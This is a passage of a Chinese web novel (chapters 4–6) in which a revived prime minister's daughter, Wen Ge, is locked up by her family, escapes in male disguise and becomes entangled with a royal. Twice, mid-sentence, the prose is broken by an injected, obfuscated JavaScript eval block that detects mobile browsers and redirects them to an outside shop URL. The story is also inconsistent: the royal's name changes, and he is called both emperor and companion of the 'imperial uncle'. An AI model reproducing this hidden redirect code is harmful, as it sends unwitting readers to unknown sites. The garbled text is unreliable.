那是三年前宫宴,闻歌献画时,他随手赏下的。当时那少女低着头,声音细如蚊蚋:“谢陛下恩典。” 和今日灵堂里那个一脚踹飞堂兄的“闻歌”,判若两人。 “闻歌……”他念着这个名字,唇角勾起玩味的弧度。 不管你是谁。 既然来了朕的棋盘,就好好当一枚棋子。 他倒要看看,这枚“死而复生”的棋子,能搅动多大的风云。 4. 第04章 闻阙之和母亲站在灵堂门口,望着厅中央那个活生生的身影,不得不信了——那个本该躺在棺材里的堂妹,真的“活”了。 “天恩浩荡。”闻阙之朝闻丞相躬身,语气复杂,“叔父乃大福报之人,此等奇事,实乃天意。” 闻丞相脸上终于有了些笑意,皱纹舒展开来:“天佑我家……天意,真是天意。许是上天怜悯老夫,特意放歌儿一马。” 话虽这么说,他眉宇间的忧色却未散。目光落在手中那封奏折上,深深叹息一声,老泪又涌了出来。 ——黎民百姓,为何总要遭受这般苦难? 这位三朝老臣一生清正,最见不得百姓受苦。此刻江南水患的灾情压在心头,比自家女儿死而复生更让他揪心。 “深秋季节,南方数省怎会突遭如此大水?”他喃喃自语,“数十万流民……赈灾银两又被层层克扣……” 闻阙之沉声道:“确实蹊跷。民间已有恐慌,谣传是……妖怪作乱。” “荒唐!”闻丞相拂袖,“老夫从不信什么妖怪作乱!天灾便是天灾,人祸便是人祸,与妖邪何干!” 话虽如此,他心中却闪过一丝疑虑——歌儿的“死而复生”,难道真的只是巧合? 正沉吟间,角落里响起一个不和谐的声音: “深秋怎会有洪灾?定是妖怪作乱!”闻义博捂着胸口,趁机插话,“依我看,闻歌就是那个妖怪!” 这蠢货!闻阙之皱眉:“嫌没挨够打?” 闻清立刻帮腔:“事实如此!不是她还能是谁?” 闻涵也想说话,刚开口“我觉得……”,就被闻阙之一个眼神瞪了回去,只能小声嘟囔:“本来就是……必是妖怪……” “闭嘴!”闻丞相厉声呵斥,“今日放你们一马,还不快滚!” 闻清的母亲王氏此时已心疼得不行。她捧着女儿的脸,看着那左右对称的巴掌印,额头青紫的大包,眼泪直掉:“我的儿……谁把你打成这样?” 闻清立刻指向闻歌。 闻歌不躲不闪,反而往前一步:“是我,怎样?” 王氏气得发抖:“你、你从前温文尔雅,连蚂蚁都舍不得踩死!今日怎如此狠毒?万一打坏了清儿可如何是好?” “谁叫他们长着一副欠揍的嘴脸。”闻歌抱臂,语气凉薄。 “母亲!”闻清哭诉,“她今日定是妖邪附体!义博哥被她踢得吐血,闻涵妹妹也伤了!” 王氏转头看去——闻义博嘴角还挂着血丝,闻涵脸颊红肿,三人皆是狼狈不堪。 “你好生凶狠!”王氏指着闻歌,手指发抖。 “怎么?”闻歌挑眉,“你也想见识见识?” 这话说得跋扈,全然不似从前那个见人就脸红的闻家小姐。 “你、你怎如此不讲道理!打了人,还想以下犯上不成?!”王氏气极。 “理要对人讲。”闻歌冷笑,“对畜生,讲不通。” “歌儿!”丞相夫人匆匆过来,拉住女儿,“不得无礼!” 她看着女儿陌生的侧脸,心中五味杂陈——这是她的歌儿,可又全然不是。那个连大声说话都会脸红的女儿,何时变得这般……桀骜? 王氏狠狠瞪了闻歌一眼,拉着女儿转身就走:“今日之事,我记下了!三弟,管好你女儿!” 闻歌在她身后扬声:“管好你女儿才是!再惹我,还揍!” “你——”王氏气得回头,却被闻清拽着走了。 一场闹剧暂歇。 闻丞相揉了揉发疼的额角,命人撤了灵堂、脱去丧服。他要即刻进宫面圣——女儿复活是天大的事,必须亲自向皇上禀报。 至于那几个不成器的侄儿侄女……他看了眼他们逃也似的背影,摇了摇头。 家门不幸啊。 闻歌被丫鬟们簇拥着回了闺房。 小桃和小白小心翼翼地为她更衣,动作轻柔得像对待易碎的瓷器。闻歌却有些不耐烦——这些繁琐的衣裙,层层叠叠,穿起来费时费力。 “简单些就行。”她扯了扯刚系好的衣带,“随便找件轻便的。” 小桃愣了愣:“小姐……您从前最爱这些衣裳……” “从前是从前。”闻歌走到衣柜前,自己翻找起来。最终挑了件月白色窄袖襦裙,料子普通,样式简洁,“就这件。” 换好衣服,她忽然想起什么,转身对两个丫鬟说:“你们,帮我把行李收拾一下。” 小桃和小白面面相觑。 “小姐……收拾行李做什么?” “出门啊。”闻歌说得理所当然,“我要去求仙。” 两个丫鬟同时僵住。 “求、求仙?!”小桃声音都变了调。 “嗯。”闻歌坐到椅子上,一条腿很没形象地架在扶手上,晃来晃去,“听不懂吗?我要修仙,当小仙女。” 小桃急得直跺脚:“小姐您说什么胡话!您一个姑娘家,怎么能抛头露面到处求仙?传出去要被人笑话的!” “笑话?”闻歌挑眉,“等我成了仙,看谁笑话谁。” 她起身,自己动手打开衣柜,开始翻箱倒柜。值钱的首饰、轻便的衣物、几锭碎银……一股脑塞进包袱里。 小白见状,连忙跑出去找夫人。 等丞相夫人急匆匆赶来时,闻歌已经打好包袱,正往门外走。 “歌儿!你这是做什么?!”丞相夫人拦住她。 “求仙。”闻歌答得简洁,脚步不停。 “你胡说八道什么!哪有什么仙人!”丞相夫人急得眼泪直掉,“你今天醒来就举止怪异,是要吓死娘吗?” 她死死拽住女儿的胳膊,怎么也不肯松手。 “我没胡说。”闻歌试图挣脱,“我真的会成小仙女。” “歌儿,是不是哪里不舒服?娘给你请大夫……” “我很好。”闻歌摇头,“娘,你就让我去吧。” 母女俩在院子里僵持起来。一个执意要走,一个拼命要留。小桃也扑上来抱住闻歌的腰,主仆三人拉扯成一团。 丞相夫人年事已高,被闻歌拖得踉跄几步,脚下一滑—— “娘!”闻歌眼疾手快,一把扶住母亲。 看着母亲苍老脸上纵横的泪痕,她心软了。 “娘……”闻歌声音低下来,“你为何非要拦我?” “你好不容易活过来……”丞相夫人泣不成声,“现在又要去求什么仙……你这一走,不是要了娘的命吗……” 闻歌沉默了。 她能理解这份母爱——失而复得,所以倍加珍惜。可她也有自己的使命啊…… 正僵持间,闻丞相回府了。 “这是做什么?”他看着院子里拉扯的几人,眉头紧锁。 丞相夫人像抓到救命稻草:“老爷!你快劝劝歌儿!她、她要去求仙!” 闻丞相以为自己听错了:“求仙?” “爹!”闻歌挣开母亲的手,态度坚决,“我就要去求仙!” “胡闹!”闻丞相沉下脸,“你才好,求什么仙?快回房去!” “我就要去!” “乖歌儿,连爹爹的话都不听了?” 闻歌咬了咬唇,忽然从腰间摸出那把五寸匕首:“爹爹,我没骗你!我在梦里遇到一个老神仙,他给了我这把刀,说只要找到能拔出此刀的人,我就能成仙!” 她将匕首举到父亲面前。 那是一把再普通不过的短刀。刀鞘乌黑,没有任何纹饰;刀柄锈迹斑斑,看起来像是哪个铁匠铺里最便宜的货色。 闻丞相只看了一眼,差点背过气。 “你、你就拿这么把破刀……说要成仙?!”他指着匕首,手指发抖,“闻歌!你今日到底是怎么回事!” 丞相夫人更是哭得几乎晕厥:“我到底是造了什么孽啊……” “我没疯!”闻歌急了,一手握刀柄,一手抓刀鞘,咬牙用力—— 拔! 脸都憋红了,那刀却纹丝不动,像是长在鞘里。 “你看!这不是普通刀!”她喘着气说,“老神仙说了,要等有缘人才能拔出……” “一派胡言!”闻丞相厉声打断,“哪来的老神仙?哪来的仙缘?你就是撞坏了脑子,满口疯话!” 他越说越气,胡须都在颤抖。 女儿到底怎么了?死而复生已是奇事,现在又拿着把破刀说要成仙……这要是传出去,闻家的脸面往哪儿搁? “来人!”闻丞相朝家仆喝道,“把小姐送回房!没我的允许,不许她踏出房门半步!” “爹!你信我啊!”闻歌挣扎着,却被几个强壮的仆妇架了起来。 “请大夫!多请几个!”闻丞相揉着太阳穴,“我倒要看看,她到底是撞坏了哪里!” 闺房的门“哐当”一声关上。 随后是落锁的声音。 闻歌扑到门边,用力拍打:“放我出去!我要去求仙!” 门外传来家仆低沉的声音:“小姐,老爷有令,您不能出去。” “我就要出去!”闻歌踹门,“你们敢关我?” 门纹丝不动。闻歌这才发现,这闺房的门竟是特制的,厚重结实,寻常女子根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992173|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本撞不开。 她气急败坏,转身抓起桌上的茶杯—— “啪!”砸在门上。 茶壶、花瓶、妆奁……能摔的东西都被她摔了一遍。瓷器碎裂的声音此起彼伏,门外守着的家仆听得心惊肉跳,却不敢开门。 “小姐息怒……”小桃在门外带着哭腔劝,“您别再摔了……” “放我出去!”闻歌吼。 没人应声。 她累了,背靠着门滑坐在地。房间里一片狼藉,瓷器碎片、衣物散落各处,像遭了劫。 月光从窗棂透进来,在地上投下斑驳的光影。 闻歌摸出袖中的匕首。在月光下,这柄锈迹斑斑的短刀显得更加寒酸。 可她记得清清楚楚——云端之上,白须老者将刀递给她时说的话: “此刀名‘问心’。待你历经人世劫难,自有机缘拔刀出鞘。刀出之日,便是你得道之时。” 当时她还觉得这话玄乎,现在却信了。 ——因为她真的拔不出来。 无论用多大力气,这刀就像焊死在鞘里,纹丝不动。 “有缘人……”闻歌喃喃自语,“你到底在哪儿?” 她想起老神仙敲她那三下拂尘。当时不懂,现在想来,也许是在提示什么? 三下…… 三件事?三个人?还是……三个月? 正胡思乱想,门外传来脚步声。 “大夫请来了。”是闻丞相的声音。 门锁打开,几个背着药箱的老者鱼贯而入。看见满屋狼藉,都吓了一跳。 “歌儿,”闻丞相站在门口,脸色疲惫,“让大夫给你瞧瞧。” 闻歌抱着膝盖坐在地上,抬头看他:“爹,我没病。” “有没有病,大夫说了算。” 几个大夫轮流上前诊脉。手指搭在腕上,许久,又换另一个。 最终,几人聚在一起低声商议片刻,为首的老者朝闻丞相拱手: “丞相大人,令嫒脉象平稳,气血充盈……并无异常。” “可她说胡话!还要去求仙!” 老者迟疑道:“许是……受了惊吓,心神未定。开几副安神的方子调理调理,应当无碍。” 闻丞相的脸色更难看了。 没病?那这一出出闹剧算什么? 他挥手让大夫退下,独自走进房间,在女儿面前蹲下身。 “歌儿,”他声音沙哑,“告诉爹爹,你到底怎么了?” 闻歌看着父亲布满血丝的眼睛,心头一酸。 “爹,我没骗你。”她轻声说,“我真的遇见老神仙了。他让我下凡历劫,说只要找到有缘人拔出这把刀,我就能成仙。” 她举起匕首,月光照在锈迹斑斑的刀鞘上。 闻丞相盯着那刀看了许久,忽然长长叹了口气。 “罢了。”他站起身,背影佝偻,“你好好休息。等你想通了,爹再放你出来。” 他走到门口,又停住,回头深深看了女儿一眼: “歌儿,这世上……没有神仙。人活着,只能靠自己。” 门再次关上。 落锁声清脆。 闻歌坐在一地狼藉中,握紧了匕首。 爹,你不懂。 这世上也许没有神仙——但有了这把刀,我就必须去找到那个“有缘人”。 因为这是老神仙给我的路。 也是我……唯一的出路。 窗外月色渐沉。 闻歌躺回床上,匕首枕在臂弯。她闭上眼睛,脑海里浮现出几个破碎的画面: ——悬崖边,那只呜咽的小狗。 ——坠落的瞬间,崖顶三人得逞的笑。 ——还有……薄纱帐里,那个自称“夫君”的男子…… 她猛地睁眼。 这些记忆属于原来的闻歌。而现在,它们成了她的记忆。 “放心吧。”她对着虚空轻声道,“你的仇,我会报。你的爹娘,我会照顾。” “至于成仙的路……我会自己走。” 她翻了个身,看向紧闭的房门。 门外守着六个家仆,都是练家子。硬闯,她现在这身子未必是对手。 得想别的法子。 闻歌闭上眼睛,手指无意识地摩挲着刀鞘上的锈迹。 老神仙说,要“历经劫难”。 被关在闺房里……这算不算第一劫? 她不知道。 但她知道,这扇门关不住她太久。 因为她是闻歌。 是要成仙的小仙女。 5. 第05章 “放我出去!耽误了我修仙大业,老神仙怪罪下来,你们谁担待得起?!” 闻歌又在房里拍门大喊,嗓子都快喊哑了。这几日被关在闺房里,她试过爬窗——窗棂是特制的,根本撬不开;试过装病——丫鬟进来伺候时想趁机溜走,却被门外六个家丁堵得严严实实。 真是岂有此理。 她堂堂未来小仙女,竟被凡人关在方寸之地! 更气人的是,不知哪个嘴碎的,将她“死而复生、一心求仙”的事添油加醋传了出去。如今京城里谣言四起,说什么“闻家小姐被妖邪附体”“疯疯癫癫要成仙”…… 闻歌气得牙痒。这些人懂什么?她那叫追寻大道! 可气归气,理智告诉她:这样僵持下去不是办法。爹娘铁了心要关她,硬碰硬只会两败俱伤。 得换个策略。 闻歌眼珠一转,计上心头。 “爹爹——娘——”她换了副腔调,声音软了下来,还带着恰到好处的哭腔,“我想通了……我不去求仙了……” 拍门的力道也轻了,不再是之前的横冲直撞,而是带着几分委屈的轻叩。 “我真的想通了……我就想好好孝敬爹娘,你们放我出去吧……” 门外,小桃和小红面面相觑。 “小姐……真不闹了?” “听着像真的……” 两人不敢做主,连忙去禀报丞相夫人。 不多时,门外传来母亲的声音:“歌儿,你真答应娘了?” “答应!答应!”闻歌忙不迭应声,“我再也不说去求仙了!” “那……你还离家出走吗?” “不离家!我就待在家里,哪儿也不去!” 门外静了片刻。接着是钥匙插入锁孔的声音,“咔哒”一声脆响—— 门开了。 阳光倾泻而入,晃得闻歌眯了眯眼。她像只出笼的鸟儿,迫不及待跳出门槛,张开双臂深深吸了口气。 自由!这就是自由的味道! 丞相夫人一把抱住女儿,喜极而泣:“我的歌儿……你可算想通了……这几日娘担心得夜不能寐……” 闻歌靠在母亲怀里,鼻尖发酸。她不是木头,能感受到这份沉甸甸的母爱。可是……她有她的路要走啊。 “娘,女儿不孝,让您担心了。”她轻声说,心里却盘算着——先稳住爹娘,等他们放松警惕,再找机会开溜。 丞相夫人仔细打量女儿,见她神情温顺,不似作伪,这才放下心来:“好好好,想通了就好。饿了吧?娘让厨房给你做你最爱吃的翡翠芙蓉羹……” 闻歌乖巧点头,眼底却闪过一丝狡黠。 自由是有了,但只是“有限自由”。 闻丞相显然没完全放心——两个丫鬟寸步不离地跟着她,院门口还守着六个精壮家丁,美其名曰“伺候小姐,随时听候差遣”,实则就是监视。 闻歌看着那六个五大三粗的汉子,心里冷笑。 就凭你们,也想看住本仙女? 不过眼下不能硬来。她得等,等一个合适的时机。 在府里闷了几日,闻歌终于憋不住了。 这日午后,她蹭到母亲身边,挽着胳膊撒娇:“娘——我想出去逛逛。” 丞相夫人正在绣帕子,闻言手一顿:“女孩家家的,出去做什么?” “就是……就是想看看嘛。”闻歌晃着母亲的手臂,“我都关了好几日了,都快闷出病了……” “从前你从不爱出门的。”丞相夫人抬眼,眼神探究。 “从前是从前。”闻歌嘟起嘴,“现在我就想出去看看。娘,您就答应我吧——我都答应您不去求仙了,您连这么个小要求都不满足我?” 她说着,眼圈竟真的红了——倒不是装的,是想起自己被关的委屈。 丞相夫人见她这副模样,心软了:“可你一个姑娘家,抛头露面总归不好……” “我有办法!”闻歌眼睛一亮,“我扮成男子不就行了?保证没人认出来!” “胡闹……” “娘——”闻歌拉着长音,使出浑身解数撒娇,“您就答应我吧……我都快闷死了……我保证不乱跑,就逛一会儿,很快就回来……” 她又是晃胳膊又是跺脚,活脱脱一个耍赖的孩子。 丞相夫人被她磨得没办法,只得叹气:“好吧好吧……不过得让丫鬟家丁跟着,不许离开他们视线!” “成交!”闻歌喜笑颜开。 心里却想:跟着?等会儿就让你们知道什么叫“跟不上”。 半个时辰后,闻歌的闺房门开了。 一个身着月白锦袍的“少年”走了出来。乌发束成冠,眉眼英气,若不细看,还真有几分翩翩公子的风范。 丞相夫人看着女儿这身打扮,先是一愣,随即失笑:“你这丫头……还真像那么回事。” 闻歌在母亲面前转了一圈,得意道:“如何?够不够英俊潇洒?” “俊,俊。”丞相夫人笑着摇头,忽然想起什么,“哎,你还没吃饭呢——” “回来再吃!”闻歌已经像阵风似的跑出院子,声音远远传来,“要叫‘闻公子’!” 看着她雀跃的背影,丞相夫人无奈又宠溺地笑了。 这孩子……总算有点活气儿了。 京城街市,果然繁华。 闻歌走在熙攘的人流中,眼睛不够用似的左顾右盼。糖人摊、绸缎庄、酒楼茶馆……处处透着烟火气。可她心里却在盘算另一件事—— 怎么甩掉身后这八条“尾巴”? 两个丫鬟还好说,那六个家丁可都是练家子,硬跑肯定不行。 她眼珠一转,计上心来。 “小桃,”闻歌指着一处糕点铺,“去给我买盒酥饼。” 小桃迟疑:“小姐……夫人说让我们寸步不离……” “我现在是‘公子’!”闻歌板起脸,“再说了,我还没用早饭,你想饿死本公子不成?” “可是……” “快去!”闻歌语气加重,“我就站在这儿等,跑不了。” 小桃和小红对视一眼,终究不敢违逆,一步三回头地去了。 很好,解决两个。 闻歌继续往前走,六个家丁紧随其后。她看似随意地逛着,实则心里翻江倒海盘算着下一个计策。 走到一处十字路口,闻歌忽然停下,转身对家丁们说:“你们在这儿等着,我去对面铺子买点东西。” 一个家丁为难道:“公子,夫人吩咐……” “我去买女子用的东西。”闻歌挑眉,“怎么,你们也要跟着看?” 六个大汉面面相觑,脸都涨红了。 “这……这……” “听不懂吗?”闻歌加重语气,“我说,你们,在这儿,等着。” 她顿了顿,忽然压低声音,语气带着威胁:“你们要是敢跟来……回去我就告诉娘,说你们偷看我换衣裳——看爹娘不打断你们的腿!” 这话太狠。六个家丁吓得齐齐后退一步,再不敢上前。 闻歌心里得意,面上却装作若无其事,转身朝对面走去。 恰在此时,一队车马从街口经过。 为首的是几匹高头大马,后面跟着两顶青篷小轿,再往后是挑着箱笼的仆从。队伍不长,却恰好挡住了家丁们的视线。 就是现在! 闻歌眼睛一亮,趁家丁被马车阻挡视线的刹那,身形一闪—— 她没去对面铺子,而是侧身钻进了队伍中间那顶轿子! 动作快如鬼魅,连抬轿的轿夫都没察觉。 轿帘落下,光线骤暗。 闻歌还没看清轿内情形,就听见“唰”的一声——是刀出鞘的声音。 冰冷的刀锋抵在她颈侧。 “何人?”一个低沉的男声响起,带着警惕。 闻歌心脏狂跳,却强迫自己镇定下来。她抬眼看去——轿内坐着个年轻公子,约莫二十出头,身着玄色暗纹锦袍,面容俊美如画,眉眼间却带着久居高位的疏离感。 此刻他手中握着一柄短刀,刀尖离她的喉咙只有寸许。 “公、公子救命!”闻歌灵机一动,装出惊慌失措的样子,“外面有歹人要绑架我!我、我实在没法子才……” 那公子没说话,目光在她脸上逡巡片刻,忽然唇角微勾。 “姑娘,”他缓缓开口,声音里带着一丝玩味,“光天化日,哪来的绑匪?” “姑、姑娘?”闻歌心头一跳,嘴硬道,“公子眼拙了,在下明明是男儿身!” 她边说边往公子身边挤了挤——轿子不大,两人几乎挨在一起。她能闻到他身上淡淡的沉香气,清冽好闻。 公子笑了,伸手指了指她的头。 闻歌茫然:“我头怎么了?” “姑娘的发髻,”公子慢条斯理地说,“散了。” 闻歌伸手一摸——糟了!刚才钻进轿子时太急,发冠撞在轿门框上,竟不知什么时候松脱了。此刻青丝披散,哪还有半分“公子”模样? 她脸一热,慌忙低头找发冠。 “找这个?”公子摊开手掌,掌心赫然躺着一支白玉发簪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992174|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻歌一把抢过来,手忙脚乱地想重新束发。可她从前都是丫鬟伺候梳头,自己哪会这个?折腾半天,不仅没束好,反而让发丝更乱了,有几缕甚至拂到了公子脸上。 那公子也不恼,反而凑近些,轻轻嗅了嗅。 “姑娘身上……真香。”他声音压低,带着说不清的暧昧。 “流氓!”闻歌扬手就要打。 手腕在半空被截住。 公子握住她的手腕,指腹在她细腻的皮肤上轻轻摩挲,眼神深邃:“纤纤玉指……果然不是男子该有的。” “放开你的狗爪!”闻歌用力挣扎。 公子松开手,却依然笑得从容:“姑娘——哦不,‘公子’,说话何必如此粗鲁?是你自己钻进我的轿子,如今披头散发投怀送抱,在下不过是……顺水推舟,欣赏一番罢了。” 他顿了顿,补充道:“否则,岂不是辜负了这场缘分?” “缘分你个头!”闻歌气得咬牙,“我那是逃命!” “逃命?”公子挑眉,“方才我掀帘看了,外面只有几个焦急寻人的家仆,哪来的绑匪?” 闻歌语塞。 公子好整以暇地打量她,目光从她散乱的青丝,滑到因气愤而泛红的脸颊,再到那身明显不合身的男装…… “若在下没猜错,”他缓缓道,“姑娘是偷偷跑出来的吧?外面那些,是家里派来找你的人?” 闻歌心里一惊——这人好毒的眼力! 她强作镇定:“要你管!” 公子笑了,那笑容如春风拂过冰面,明明温和,却让闻歌脊背发凉。 “在下萧璟,”他忽然报上姓名,“不知姑娘如何称呼?” 萧姓? 闻歌脑子里“嗡”的一声——国姓!这人是皇亲! 她忽然想起灵堂那日,似乎见过这么个人……站在皇上身边,气质温润如玉…… 皇叔萧璟?! 闻歌倒吸一口凉气,下意识往后缩,后脑勺却撞在轿壁上,“咚”的一声闷响。 “小心。”萧璟伸手虚扶了一下,却没真的碰到她,“姑娘认识在下?” “不、不认识!”闻歌矢口否认,心里却乱成一团。 完了完了,怎么撞进这位爷的轿子里了?皇叔啊!比皇上还难缠的主儿! 萧璟看着她惊慌的模样,眼底笑意更深。 “姑娘不必害怕,”他温和地说,“既然是一场误会,在下自然不会为难你。不过……” 他话锋一转:“姑娘这般跑出来,家里人该担心了。不如让在下送你回去?” “不要!”闻歌脱口而出。 送她回去?那她这几天的戏不是白演了! 萧璟也不强求,只是若有所思地看着她:“那姑娘打算去哪儿?” 闻歌抿唇不答。 她能去哪儿?她连京城都没逛明白。 “看来姑娘还没想好。”萧璟善解人意地说,“那不如……先跟着在下?等姑娘想好了去处,再离开不迟。” 这话听着体贴,闻歌却听出了弦外之音——这是要扣下她! 她正要拒绝,轿子忽然停了。 外面传来轿夫的声音:“爷,到地方了。” 萧璟掀开轿帘一角看了看,回头对闻歌微微一笑:“姑娘,请吧。” 他先下了轿,然后伸手作势要扶她。 闻歌看着那只骨节分明的手,又看看轿外——是处僻静的巷子,青石板路,高墙深院,看不出是什么地方。 她咬牙,自己跳下轿子。 脚刚落地,就听见身后传来熟悉的声音—— “小姐!可算找到您了!” 闻歌回头,只见小桃、小红带着六个家丁气喘吁吁追来,脸上全是汗。 完了。 她心里哀叹。 好不容易逃出来,这下全白费了。 萧璟站在她身侧,看着追来的众人,又看看一脸懊恼的闻歌,唇角勾起一抹意味深长的笑。 “看来,”他轻声道,“姑娘的‘缘分’,还不止在下这一桩。” 闻歌瞪了他一眼,却无话可说。 小桃已经跑到跟前,上气不接下气:“小姐!您、您怎么跑这儿来了……夫人急坏了……” 闻歌认命地叹了口气。 逃跑计划,宣告失败。 但她转头看向萧璟时,却发现这位皇叔正用一种探究的目光看着她,那眼神深邃得像口古井,让人看不透底。 闻歌心里咯噔一下。 ——这个人,恐怕比那六个家丁加起来,还难对付。 6. 第 06 章 轿帘落下的瞬间,闻歌还听见里头传来一声低笑:“佳人虽走,余香长留。” “留你个头!”她小声骂了句,理了理微乱的衣襟,正要开溜—— 目光扫过街角,心脏骤然一停。 百步开外,闻丞相正带着两个随从朝这边走来!老爷子眉头紧锁,脸色沉沉,显然是刚下朝的模样。 闻歌瞬间猫下腰,一个箭步窜到街边卖伞的摊子后头,心跳如擂鼓。 “没看见我没看见我……”她念念有词,从伞缝里偷瞄。直到父亲的身影消失在丞相府方向,才长长舒了口气。 好险。 这要是被当场抓获,别说求仙了,腿都能给打断。 她拍拍胸口,正准备换个方向溜之大吉,身后却传来带着哭腔的声音: “小姐——!” 闻歌浑身一僵,慢吞吞转过身。 小桃和小红眼睛红得像兔子,一左一右扑上来抓住她的袖子:“您跑哪儿去了!要是把您丢了,夫人非扒了我们的皮不可!” “叫公子!”闻歌试图抽回手,奈何两人抓得死紧。 六个家丁也围了上来,为首的那个苦着脸:“小姐,您行行好,别为难小的们了。刚才那一出,我们魂都快吓飞了……” “谁为难谁啊?”闻歌瞪他,“本公子……如厕也要向你们禀报吗?” 话虽硬气,心里却知道今日怕是难跑了。她索性破罐子破摔,大摇大摆往街市深处走:“行行行,跟着吧。本公子逛街,你们 付账!” 这一逛,又是一个多时辰。 闻歌专挑人多的地方钻,糖画摊前磨蹭半晌,杂耍班子前看得挪不动步,还硬是挤进人堆里看了场猴戏。八个“尾巴”被她遛 得满头大汗,却始终寸步不离。 “小姐,咱们出来快三个时辰了,该回去了……”小红第一百次小声劝。 “急什么?”闻歌正盯着一摊泥人看得起劲,“你看这个,捏得多像——” 话音未落,前方街口突然传来喧哗。 “小偷!抓小偷啊!” “打死他!敢偷我们公子的钱袋!” 闻歌循声望去,只见四五个家丁模样的汉子正围着一个衣衫褴褛的乞丐拳打脚踢。那乞丐抱着头缩在地上,哀声求饶,周围路 人却纷纷避开,无人敢管。 中间站着个锦衣华服的公子哥儿,摇着扇子冷笑:“往死里打!敢偷本少爷的钱,活腻了!” 闻歌的火“噌”地就上来了。 光天化日,以多欺少,还有没有王法了! 她完全忘了自己现在是“逃犯”身份,也忘了身后还跟着八个累赘,拨开人群就冲了过去。 “住手!” 一声清喝,让那几个家丁动作一顿。 华服公子斜眼打量她,见她一身月白长衫料子普通,年纪又轻,嗤笑道:“哪儿来的小白脸?少管闲事!” “这闲事我管定了!”闻歌挡在乞丐身前,下巴一扬,“几个大男人打一个乞丐,还要不要脸?” “他偷我钱!” “偷钱送官府!轮得到你们私自动刑?”闻歌说得义正辞严——上辈子当警察的职业病又犯了。 公子哥儿恼了:“给我连他一起打!” 四个家丁扑上来。 闻歌眼神一凛。 她没学过这个时代的武功,但警校教的擒拿格斗还在肌肉记忆里。侧身躲过第一拳,扣腕、拧臂、踹膝弯——动作干净利落, 不过几个呼吸,四个家丁已躺在地上哼哼。 “你、你敢动手?!”公子哥儿慌了。 闻歌一步步逼近:“仗势欺人,该打!” “砰!” 一拳砸在对方鼻梁上。 “啊——!”公子哥儿捂着脸倒退。 闻歌还不解气,又是一脚踹在他肚子上:“看你还敢不敢嚣张!” 那公子摔了个四仰八叉,指着闻歌的手直抖:“你、你知道我是谁吗?!” “我管你是谁!”闻歌叉腰,“天子脚下,王法最大!再敢欺负人,见一次打一次!” 公子哥儿在家丁搀扶下连滚爬爬跑了,留下一句色厉内荏的“你给我等着”。 闻歌拍拍手,转身扶起地上的乞丐:“老人家,没事吧?有本公……本公子在,不用怕。” 乞丐连连作揖:“多谢公子!多谢公子!” “路见不平,应该的。”闻歌心里那点英雄主义得到极大满足,正要潇洒离开—— 一只修长的手轻轻搭在她肩上。 “兄台留步。” 闻歌回头,对上一双含笑的眼。 是个陌生公子,一身青衫,气质温文,正似笑非笑地看着她。 “有事?”闻歌挑眉。 “兄台方才,是否太过冲动了?”青衫公子慢条斯理道,“那乞丐偷钱在先,人赃并获。李公子让家丁教训,虽手段过激,却 也情有可原。兄台不问青红皂白就出手,只怕是……帮错了人。” 闻歌一愣。 她下意识看向那乞丐——对方眼神闪烁,正偷偷往人群外挪。 “你胡说!”她嘴硬,“就算偷钱,也不能往死里打!” “哦?”青衫公子从袖中取出一个绣工精致的荷包,“那这个,兄台如何解释?” 荷包摊开,里头除了碎银,还有一块雕龙玉佩——明黄穗子,龙纹栩栩如生,绝非凡品。 乞丐脸色大变,转身就要跑! “站住!”闻歌这下信了,恼羞成怒,“你还真偷东西?!” “我、我……”乞丐支吾着,突然从怀里掏出一把匕首,寒光一闪! 但他刺向的不是闻歌,也不是青衫公子,而是—— 街对面,不知何时停了一顶玄色轿子。轿帘半掀,露出半张侧脸。 闻歌呼吸一窒。 是轿子里那个“流氓”公子! 电光石火间,乞丐已扑到轿前。护卫拔刀已迟,眼看匕首就要刺入轿中—— “小心!”闻歌想都没想,抓起摊子上一个陶罐就砸了过去! “哐当!” 陶罐砸在乞丐手腕上,匕首偏了方向,“嗤”地划破轿帘。几乎同时,轿中伸出一只手,快如闪电地扣住乞丐手腕,一拧一 卸。 “咔嚓”骨裂声清晰可闻。 乞丐惨叫着被护卫按倒在地。 轿帘彻底掀开。 萧昌从容步出,玄衣如墨,面色平静,仿佛刚才遇刺的不是他。他的目光先在乞丐身上停留一瞬,然后,缓缓转向闻歌。 四目相对。 闻歌脑子里“嗡”的一声。 完了。 这“流氓”居然是个大人物?看这排场,这气度…… 更要命的是,她看见萧昌身后,闻丞相不知何时去而复返,正脸色铁青地站在那里,目光如刀,死死盯着她。 父亲旁边,还站着一个面色阴鸷的中年男人——闻歌认得,是那日在灵堂见过的皇叔。 “还不快滚回来!”闻丞相从牙缝里挤出这句话。 闻歌一个激灵,转身就跑! “公子!等等!”小桃小红在后面追。 六个家丁也慌忙跟上。 街上一阵鸡飞狗跳。 萧昌看着那个仓皇逃窜的“小公子”背影,唇角微不可察地弯了弯。 他弯腰捡起地上那把匕首——普通制式,但刀柄上刻着一个极小的徽记。 皇叔凑近一看,脸色骤变:“这是……白国的标记!” 萧昌摩挲着徽记,眼底暗流涌动。 他抬眼,望向丞相府方向。 “有意思。”他轻声说,“闻家小姐,总能给朕惊喜。” 闻歌一路狂奔回府,冲进闺房,“砰”地关上门,背靠着门板大口喘气。 小桃和小红追进来,见她这副模样,心惊胆战:“小姐,到底怎么了?那位公子是……” 